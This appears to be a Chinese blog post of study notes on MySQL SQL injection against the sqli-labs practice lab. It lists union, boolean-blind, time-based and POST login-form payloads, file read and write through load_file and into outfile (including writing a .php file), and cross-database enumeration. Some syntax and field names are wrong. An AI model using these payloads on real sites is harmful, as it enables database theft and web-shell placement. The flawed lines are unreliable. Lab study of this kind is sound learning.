sqli-labs

获取字段数: order by x 取临界值

获取数据库表面: database()

获取数据库版本: version()

Information_schema:mysql5.0及以上版本自带数据库,它记录有当前mysql下所有数据库名,表名,列名信息

Information-schema.tables:记录表名信息的表

Information-schema.columns:记录列名信息的表

Table_schema 数据库名

Table_name 表名

Column_schema 列名

数据库中.代表下一级的意思

常见闭合方式: ' ') ')) " ") "))


数据库用户:user()

操作系统:@@version_compile_os

Mysqi注入文件操作

Load_file() 读取函数

Into outfile 写入函数

关于网站路径的获取:

  1.     报错显示
    
  2.     谷歌黑客
    
  3.     读取配置文件
    
  4.     漏洞报错
    
  5.     遗留文件
    
  6.     字典猜解
    

注意问题:路径符号及编码


Mysql注入问题

魔术引号 magic_quotes_gpc 开关

安全函数 addslashes

编码绕过或宽字节注入


Mysql高权限跨库注入

跨库注入条件 root权限

   网站A无注入点,网站B存在masql注入,网站A及网站B数据库存在统一mysql数据库中,这是我们可以利用网站B的注入点进去跨库注入获取网站A的数据

获取所有数据库名

union select schema_name,2,3,4 from information_schema.schemata

获取指定数据库下的表名信息

获取指定表名下的列名

获取指定数据


提交方式注入

POST登入框注入


sqli-labs

GET

group_concat():全部输出

concat_ws( , , )一次性指定分隔符

left()函数: left(a,b)从左侧截取a的前b位,正确返回1,错误返回0

regexp函数: regexp 'r' 匹配r,匹配成功返回1,反之为0

用法:and 1=(select 1 from information_schema.columns where table_name=’users’ and column_name regexp ‘^u’ limit 0,1)–+

like函数:与regexp相识, like 'r%' 要加百分号

substr(a,b,c)函数: 从b位置开始,截取a字符串c位长度

ascii()函数: 将某个字符串转化为ascii


布尔盲注(没有确切返回值)

1.burpsuite 爆破 and left((select database()),1)='s'--+

2.ascii(substr(schema_database(),1,1))>111--+ (错误)

3.ascii(substr(select schema_name from information_schema.schemata limit1,1),1,1))>11


load_file(' ') 读取本地文件

Into outfile 写文件

用法: select 'mysql' into outfile 'test.txt';
文件位置:D:\phpstudy_pro\Extensions\MySQL5.7.26\data 或者是
select 'mysql' into outfile 'D:\phpstudy_pro\Extensions\MySQL5.7.26\test.php ';


基于时间的盲注

IF(condition,A,B)如果条件condition为true,则执行命令A,否则执行B

and sleep(5)--+ 使用延迟的方法判断是否存在注入漏洞

and if(length(database())=8,1,sleep(5))--+ 判断数据库长度

if(ascii(substr((select database()),1,1))>110,1,sleep(5))--+ 判断数据库名


POST

burpsuite

注释符#

--+仅在url中get传参是用

判断数据库长度:

uname=ain' or if(length(database()),1,sleep(5))#&passwd=admin&submit=Submit
uname=ain' or length(database())=8#&passwd=admin&submit=Submit

判断数据库名字:

uname=ain' or left((select schema_name from information_schema.schemata limit 4,1),1)='s'#&passwd=admin&submit=Submit

uname=ain' or ascii(substr((database()),1,1))='115'#&passwd=admin&submit=Submit

判断表名

uname=ain' or left((select table_name from information_schema.tables where schema_name="security" limit 0,1),1)='u'#&passwd=admin&submit=Submit

uname=ain' or ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))= '101'#&passwd=admin&submit=Submit

判断列名

uname=ain' or left((select column_name from information_schema.columns where table_name="users" limit 0,1),1)='a'#&passwd=admin&submit=Submit

判断字段内容:

uname=ain' or ascii(substr((select username from users limit 0,1),1,1))= '68'#&passwd=admin&submit=Submit

uname=ain' or left((select username from security.users limit 0,1),1)= 'a'#&passwd=admin&submit=Submit

posted @ 2020-04-30 00:22  NPFS  阅读(172)  评论(0编辑  收藏  举报